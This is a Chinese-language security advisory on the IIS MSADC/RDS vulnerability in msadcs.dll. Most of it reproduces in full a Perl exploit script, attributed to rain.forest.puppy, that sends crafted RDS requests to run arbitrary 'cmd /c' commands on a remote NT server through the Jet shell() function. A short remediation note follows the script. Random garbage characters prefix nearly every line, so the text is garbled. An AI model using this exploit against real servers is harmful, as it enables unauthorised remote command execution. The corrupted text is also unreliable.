IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
P_1 WJ ~R
w1 涉及程序：
]- 1(r, Microsoft NT server
S)W xTE 9 (@+p z/ 描述：
&-yRa45? 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
@kFZN 6 SN}K=)KF# 详细：
Y,)(Q 如果你没有时间读详细内容的话，就删除:
x|0C0a\"A c:\Program Files\Common Files\System\Msadc\msadcs.dll
ZL6HD n! 有关的安全问题就没有了。
a|7C6#iz$ [<R haZz 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
?$f.[;mh $vegU]-R 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
:W *yfhLt 关于利用ODBC远程漏洞的描述，请参看:
u?Ffqt9' ~v;I>ij http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm '@t$3
hk *(OG +OkC 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
M*zpl} http://www.microsoft.com/security/bulletins/MS99-025faq.asp \G gh 95y 7 m{lOR 这里不再论述。
_ nMd hJEd7{n 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
D;pI!S<# HoGYgye= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
zr. \7\v 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
w \b+OW ~XTC:6ts ]/=R ABi #将下面这段保存为txt文件，然后: "perl -x 文件名"
F06o-xH= R.^]{ 5 #!perl
|UXSUP
@s #
kW/G=_6 # MSADC/RDS 'usage' (aka exploit) script
-#|;qFD] #
*:n ~j9V- # by rain.forest.puppy
=NF0 E8O #
SOOVUMj # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
qIi
\[U gh # beta test and find errors!
xb,d,(^ ]R w|9 >4 use Socket; use Getopt::Std;
5kiW@{m getopts("e:vd:h:XR", \%args);
DSU8 jnrL Q@W/~~N print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
su%(!XJQpg |R}=HsYey if (!defined $args{h} && !defined $args{R}) {
a^ %iAe print qq~
_Si=J p][ Usage: msadc.pl -h <host> { -d <delay> -X -v }
(7Z+ De? -h <host> = host you want to scan (ip or domain)
8o~
NJ 6 -d <seconds> = delay between calls, default 1 second
T*x2+(r -X = dump Index Server path table, if available
x b;{<~`71 -v = verbose
:21d -e = external dictionary file for step 5
A=N$5ZJ +{:uPY#1 Or a -R will resume a command session
#t
;` t(z]4y ~; exit;}
QLd*f[n _?~%+Oz/ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
sA2-3V<t8 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
981-[ga `Y if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
K<>kT4 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
M"3"6U/ e $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
c{ M
,K if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
,2M}qs"P7G meX2Y; if (!defined $args{R}){ $ret = &has_msadc;
x92^0c Mf die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Ge q]wv8 l2
.S^S print "Please type the NT commandline you want to run (cmd /c assumed):\n"
`2.c=,S { . "cmd /c ";
'PF>#X'' $in=<STDIN>; chomp $in;
5u!\c(TJ+ $command="cmd /c " . $in ;
TLwx P" AQ, lLn+ if (defined $args{R}) {&load; exit;}
]+D@ E2E cH5i420;aO print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
z gb $@JC &try_btcustmr;
94tfR$W;- .+: iAnf print "\nStep 2: Trying to make our own DSN...";
:&BPKqKp &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Q }AZkZ @v)Z>xv print "\nStep 3: Trying known DSNs...";
?ko#N?hgI &known_dsn;
xM jn=\} !ho^:}m print "\nStep 4: Trying known .mdbs...";
Qq, 2V &known_mdb;
b mG`:_ z
CLaHx! if (defined $args{e}){
*'Yy@T8M print "\nStep 5: Trying dictionary of DSN names...";
R"t#dG]1t &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.QvD603%5 m+c-"arIpA print "Sorry Charley...maybe next time?\n";
uxfh?gsL exit;
o~LJ+m6-) P $`1} ##############################################################################
J^7m? mA Dz }i-tw+ sub sendraw { # ripped and modded from whisker
4"P9z}y=i sleep($delay); # it's a DoS on the server! At least on mine...
rq %]CsRY5 my ($pstr)=@_;
Ln>!4i+-B) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-@> {q/ die("Socket problems\n");
i2<z"v63 if(connect(S,pack "SnA4x8",2,80,$target)){
Sdq}?- &Sa select(S); $|=1;
^'X
I%fEf print $pstr; my @in=<S>;
lod+]* MD select(STDOUT); close(S);
m. <_WXH return @in;
B!RfPk1B<* } else { die("Can't connect...\n"); }}
w'@gzK l(>6Yq ##############################################################################
D \ rns+ |1@O >GG sub make_header { # make the HTTP request
j ,YrM?Xdo my $msadc=<<EOT
tT]@yo|?e/ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
@\by`3*Q User-Agent: ACTIVEDATA
x Fu ,e Host: $ip
0z=KnQx"4 Content-Length: $clen
tJ(xeb Connection: Keep-Alive
o wNwj YSnh2 Bq ADCClientVersion:01.06
L.;b( bFe Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
XM]m%I p $Tk;;wm --!ADM!ROX!YOUR!WORLD!
p(yv Content-Type: application/x-varg
C*Q7@+& Content-Length: $reqlen
,3 :f4e\< H oQb.Z EOT
D6ZHvY8R ; $msadc=~s/\n/\r\n/g;
VEWW[ T return $msadc;}
)\+Imn 5EtR >Pc ##############################################################################
v H HgZ r5j$FwY sub make_req { # make the RDS request
G$C2?|V)= my ($switch, $p1, $p2)=@_;
S1=P-A o my $req=""; my $t1, $t2, $query, $dsn;
_T)y5/[ ?_ H9>/:. if ($switch==1){ # this is the btcustmr.mdb query
OX"Na2-el $query="Select * from Customers where City=" . make_shell();
/d&m#%9Up] $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
x1:mT[[$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
P-X|qVNK1Z I9kz)Q o elsif ($switch==2){ # this is general make table query
#S 7oW@ $query="create table AZZ (B int, C varchar(10))";
J4qk^1m. $dsn="$p1";}
Fyvo;1a - (s0 f elsif ($switch==3){ # this is general exploit table query
*f+s $query="select * from AZZ where C=" . make_shell();
uEgR>X> $dsn="$p1";}
o)I)I/v YJ~<p H elsif ($switch==4){ # attempt to hork file info from index server
H; `F}qQ3 $query="select path from scope()";
l,|Llb $dsn="Provider=MSIDXS;";}
C PZ{ S K}jhm"y elsif ($switch==5){ # bad query
~(GvjB/C8 $query="select";
67EGkW?hbt $dsn="$p1";}
>nkVZ;tL FG${w.e< $t1= make_unicode($query);
k8 #8)d $t2= make_unicode($dsn);
TQB)
A9 $req = "\x02\x00\x03\x00";
MZ3 8=nJ $req.= "\x08\x00" . pack ("S1", length($t1));
Le #srr $req.= "\x00\x00" . $t1 ;
+?\JQ| $req.= "\x08\x00" . pack ("S1", length($t2));
hWly8B[I $req.= "\x00\x00" . $t2 ;
Ti2cD $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~W @d F~r return $req;}
JE O$v|X (aYu[ML ##############################################################################
*<\ `"C; 89 d%P
J0 sub make_shell { # this makes the shell() statement
xh;gAh5n return "'|shell(\"$command\")|'";}
W'6DwV| !oyo_h ##############################################################################
0Y oKSo v7(7WfqP sub make_unicode { # quick little function to convert to unicode
;Tbo \Wp9 my ($in)=@_; my $out;
]]p\1G for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
*k(Fb Z return $out;}
S$b)X"h +"84.PZ ##############################################################################
+ }"+ 2*snMA sub rdo_success { # checks for RDO return success (this is kludge)
mc]+j,d my (@in) = @_; my $base=content_start(@in);
H:~bWd'iz if($in[$base]=~/multipart\/mixed/){
8cO?VH,nk return 1 if( $in[$base+10]=~/^\x09\x00/ );}
1e\cJ{B return 0;}
>FE8CH!W& ") 8l'^Mq2 ##############################################################################
|-JG _i eX\v ;~W* sub make_dsn { # this makes a DSN for us
w,P@@Q E my @drives=("c","d","e","f");
co,0@.i print "\nMaking DSN: ";
];5J foreach $drive (@drives) {
mX|M]^_,z print "$drive: ";
B2r[oT R my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
+kWWx #L# "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
EUSM4djL . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
"nr?WcA $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
`:'ciY|%b return 0 if $2 eq "404"; # not found/doesn't exist
}wo:1v8J if($2 eq "200") {
,? LE5] foreach $line (@results) {
+~=a$xA[C return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
,|c;x1|O } return 0;}
_HM?p(H@ A"r<$ S6 ##############################################################################
Kjbk
zc1 Sk
EI51] sub verify_exists {
Op0*tj2i), my ($page)=@_;
Um/l{:S my @results=sendraw("GET $page HTTP/1.0\n\n");
xy`Y7W= return $results[0];}
aUL7 ]'q} 7s^b@&Le ##############################################################################
l]wfL;u KS#A*BRQ sub try_btcustmr {
9{(q[C5m my @drives=("c","d","e","f");
}S iR;2W my @dirs=("winnt","winnt35","winnt351","win","windows");
glC,E> (?A
c`H foreach $dir (@dirs) {
. ]E"w9~ print "$dir -> "; # fun status so you can see progress
iq3)}hGo foreach $drive (@drives) {
I S" [< print "$drive: "; # ditto
XR]bd $reqlen=length( make_req(1,$drive,$dir) ) - 28;
;):;H?WS|A $reqlenlen=length( "$reqlen" );
`Ku:%~$/ $clen= 206 + $reqlenlen + $reqlen;
NtGJpT4YX #i~P])%gNP my @results=sendraw(make_header() . make_req(1,$drive,$dir));
HB#!Dv&' if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
7 Td
9mkO else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
S\ak(<X tRPIvq/ ##############################################################################
=WUNBav HG /fp<[ sub odbc_error {
pcv\|) &} my (@in)=@_; my $base;
|./:A5_h my $base = content_start(@in);
7x.j:{2 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
yVVyWte, $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0(o 2<d7 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
J#:`'eEG $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
V9/2y9u return $in[$base+4].$in[$base+5].$in[$base+6];}
,#N}Ni: print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
~NE`Ad.G print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6
JI8l`S $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;a|%W4 " 0++RxYFCL ##############################################################################
` C d! )
YB'W_ sub verbose {
Q|[^dju my ($in)=@_;
}!xc@ return if !$verbose;
MMO /v JC print STDOUT "\n$in\n";}
WUau KRR. 1Ov oW Nx ##############################################################################
\Dl MOG #-b}QhxH sub save {
[.Fm-$M- my ($p1, $p2, $p3, $p4)=@_;
s Y4w dG open(OUT, ">rds.save") || print "Problem saving parameters...\n";
p%iZ6H>G print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
tVf):}< h close OUT;}
Vk`Uz1* 'uzHI@i ##############################################################################
9e.v[K ~ 43g1/,klm sub load {
9b6U] z, my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
mph9/ %]S open(IN,"<rds.save") || die("Couldn't open rds.save\n");
s/t,6-~EH @p=<IN>; close(IN);
zk1]? $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
7r)]9_[( $target= inet_aton($ip) || die("inet_aton problems");
G|-RscPe print "Resuming to $ip ...";
Ie=gI+2 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
K"5q387! if($p[1]==1) {
61&{I>~1 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
7IkEud $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ht>/7.p] my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
x>BFK@# if (rdo_success(@results)){print "Success!\n";}
)b=vBs`% else { print "failed\n"; verbose(odbc_error(@results));}}
K3h7gY| . elsif ($p[1]==3){
nR @ mm
j if(run_query("$p[3]")){
QlR~rFs9t print "Success!\n";} else { print "failed\n"; }}
^-n^IR}J elsif ($p[1]==4){
(vzYg U, if(run_query($drvst . "$p[3]")){
~&F |g2: print "Success!\n"; } else { print "failed\n"; }}
_y>drvg exit;}
$F X$nY 5!$sQ@#}D ##############################################################################
fO^s4gWTg _dCDT$^&r sub create_table {
C"0
VOb my ($in)=@_;
)D'# >!Y $reqlen=length( make_req(2,$in,"") ) - 28;
QHUFS{G ] $reqlenlen=length( "$reqlen" );
'NfsAE $clen= 206 + $reqlenlen + $reqlen;
6- /W4L)?> my @results=sendraw(make_header() . make_req(2,$in,""));
qvGm JN0 return 1 if rdo_success(@results);
COw!a\J l my $temp= odbc_error(@results); verbose($temp);
0Bkz)4R
return 1 if $temp=~/Table 'AZZ' already exists/;
C c`-34/% return 0;}
K^tc]ZQ kRb JK ##############################################################################
p}/D{|xO aUc#,t;Qd sub known_dsn {
"-MB U # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
AGS(ud{ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
B1E:P`t "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
; !t?* "banner", "banners", "ads", "ADCDemo", "ADCTest");
OK`^DIr5l PvjZoF[" foreach $dSn (@dsns) {
`U\l: ~]e print ".";
T3"'`Sd9; next if (!is_access("DSN=$dSn"));
Z,O-P9jC if(create_table("DSN=$dSn")){
wTZ(vX*mK print "$dSn successful\n";
dBovcc if(run_query("DSN=$dSn")){
7^M$u\a)U print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p W 5D!z print "Something's borked. Use verbose next time\n";}}} print "\n";}
j;D$qd'J D0kz;X ##############################################################################
uW/>c$*) [P ;fv sub is_access {
B zWkZAX my ($in)=@_;
?2,D-3 { $reqlen=length( make_req(5,$in,"") ) - 28;
0o6o<ggi $reqlenlen=length( "$reqlen" );
<n~.X<6V' $clen= 206 + $reqlenlen + $reqlen;
P 0hr=/h4 my @results=sendraw(make_header() . make_req(5,$in,""));
*kTp(*K/7` my $temp= odbc_error(@results);
B B V>Q L verbose($temp); return 1 if ($temp=~/Microsoft Access/);
w,R6:*p5 return 0;}
F9% +7Op^ Lr6C@pI ##############################################################################
M}CxCEdDB] ,C 0y3pL sub run_query {
6w
m-uu my ($in)=@_;
D/4]r@M2c $reqlen=length( make_req(3,$in,"") ) - 28;
I!1+#0SG $reqlenlen=length( "$reqlen" );
0CXXCa7! $clen= 206 + $reqlenlen + $reqlen;
`r3 klL,W' my @results=sendraw(make_header() . make_req(3,$in,""));
FU .%td=: return 1 if rdo_success(@results);
QV\a f my $temp= odbc_error(@results); verbose($temp);
6o9&FU return 0;}
1|H4]!7kE di9OQ*6a7 ##############################################################################
5_L,7\5# vZ$E
[EG} sub known_mdb {
VGxab;#,:3 my @drives=("c","d","e","f","g");
.j|uf[?h my @dirs=("winnt","winnt35","winnt351","win","windows");
/Qef[ $ !( my $dir, $drive, $mdb;
.Z"`:4O my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/4;A.r`; I2SH
j6 - # this is sparse, because I don't know of many
o& z [d my @sysmdbs=( "\\catroot\\icatalog.mdb",
DS7L}] "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
e m )%U "\\system32\\certmdb.mdb",
)flm3G2u "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
\awkt!Wa -Q? c'e my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
0a<h,s0"2 "\\cfusion\\cfapps\\forums\\forums_.mdb",
8tn a<Hx "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
/ 7p(%vr "\\cfusion\\cfapps\\security\\realm_.mdb",
41+WIa
L "\\cfusion\\cfapps\\security\\data\\realm.mdb",
l`:u5\ rM "\\cfusion\\database\\cfexamples.mdb",
rbIYLVA+V "\\cfusion\\database\\cfsnippets.mdb",
T:2f*!r "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
3k(tv U+eC "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
? K2}<H- "\\cfusion\\brighttiger\\database\\cleam.mdb",
I\c7V~^hnG "\\cfusion\\database\\smpolicy.mdb",
ONy\/lu| "\\cfusion\\database\cypress.mdb",
E .ji;5 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
&N6[*7 "\\website\\cgi-win\\dbsample.mdb",
/]-yZ0hX0O "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
:Mh\;e "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
*o:J 4' ); #these are just
vZ57
S13 foreach $drive (@drives) {
(3! 6nQj-t foreach $dir (@dirs){
N'aq4okoL foreach $mdb (@sysmdbs) {
]vs}-go print ".";
H8dS]N~[Y if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
:i0;jWc b print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
3^fwDt} if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
y&O?`"Uv/M print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
G{>P YLxOb } else { print "Something's borked. Use verbose next time\n"; }}}}}
e"bzZ!c&~V L$ s ENOm foreach $drive (@drives) {
J=: \b foreach $mdb (@mdbs) {
Q^3{L\6_ print ".";
S&Xl Mu if(create_table($drv . $drive . $dir . $mdb)){
6\I1J=
C print "\n" . $drive . $dir . $mdb . " successful\n";
+S-60EN*A if(run_query($drv . $drive . $dir . $mdb)){
fR {_P print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
9y5J V3 } else { print "Something's borked. Use verbose next time\n"; }}}}
RjO0*$>h }
!7)#aXt& ANM=:EtP ##############################################################################
ElDeXLr' j&Xx{ 4v sub hork_idx {
h*!oHS~ /l print "\nAttempting to dump Index Server tables...\n";
Wq5 }LO) print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
/^\E:(RH $reqlen=length( make_req(4,"","") ) - 28;
S^p^)
fAmF $reqlenlen=length( "$reqlen" );
$@]
xi $clen= 206 + $reqlenlen + $reqlen;
ZnzO] my @results=sendraw2(make_header() . make_req(4,"",""));
FkuD Gg~a if (rdo_success(@results)){
>qr/1mW my $max=@results; my $c; my %d;
(y&sUc9 for($c=19; $c<$max; $c++){
B9$f y).Gp $results[$c]=~s/\x00//g;
'kY/=*=Q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
zF>;7'\x $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
B]() $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
#>,E"-]f $d{"$1$2"}="";}
6aHD?a o foreach $c (keys %d){ print "$c\n"; }
q 165S } else {print "Index server doesn't seem to be installed.\n"; }}
k0ai#3 iJ {7]maOg>7J ##############################################################################
9\WtcL x t1J3'lS sub dsn_dict {
i\b^}m8c.N open(IN, "<$args{e}") || die("Can't open external dictionary\n");
vyJ8"
#]qY while(<IN>){
\O;/wf0Hg $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
: #?_4D!r next if (!is_access("DSN=$dSn"));
~"J1 @< if(create_table("DSN=$dSn")){
<DR! AR) print "$dSn successful\n";
D|m3. si if(run_query("DSN=$dSn")){
/VufL+q1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]a dgOlM print "Something's borked. Use verbose next time\n";}}}
ry=8Oq&[~ print "\n"; close(IN);}
\#VWZ\M8a _
A# lyp ##############################################################################
FJCORa@?_ 6_u!{ sub sendraw2 { # ripped and modded from whisker
7qUg~GJX sleep($delay); # it's a DoS on the server! At least on mine...
rTVv6:L my ($pstr)=@_;
U!uJ )mm socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
E0fMFG^P die("Socket problems\n");
~| O; Sdo= if(connect(S,pack "SnA4x8",2,80,$target)){
) `'a1y| print "Connected. Getting data";
_,aFQ^]'9 open(OUT,">raw.out"); my @in;
P!IA; i select(S); $|=1; print $pstr;
ob2_=hQnC while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
A[7H-1- close(OUT); select(STDOUT); close(S); return @in;
jXALL8[c } else { die("Can't connect...\n"); }}
D&ua A-;s &S 66M 2 ##############################################################################
EsX(<bx \#) YS sub content_start { # this will take in the server headers
)AR- b8..o my (@in)=@_; my $c;
^gp]t Af for ($c=1;$c<500;$c++) {
p 3mZw lO if($in[$c] =~/^\x0d\x0a/){
{6RA~ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
myN2G?>; else { return $c+1; }}}
"T^%HPif return -1;} # it should never get here actually
rCczQ71W ,VEE<* 'X ##############################################################################
&I8DK).M+ Wex2Fd?DO sub funky {
ED79a: my (@in)=@_; my $error=odbc_error(@in);
Y,}h{*9Kd if($error=~/ADO could not find the specified provider/){
cNmAr8^} print "\nServer returned an ADO miscofiguration message\nAborting.\n";
HK<S|6B7V exit;}
u pUJF`3 if($error=~/A Handler is required/){
26k~Z} print "\nServer has custom handler filters (they most likely are patched)\n";
G!I5Er0pdy exit;}
G7+ {O7 if($error=~/specified Handler has denied Access/){
z;?jKE p print "\nServer has custom handler filters (they most likely are patched)\n";
=>3,]hnep exit;}}
J(/J;PW y }R2ZO ##############################################################################
]S@T|08b -=8f* K[W sub has_msadc {
\ctzv``/n my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
pKj: )6t" my $base=content_start(@results);
ip}%Y6Wj return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
h?OSmzRLd return 0;}
%5KK#w " v@yqTZ ########################
N}7 b^0k 0n`Temb/ s H2xkUp 解决方案：
CALD7qMK 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
U_gkO;s % 2、移除web 目录: /msadc
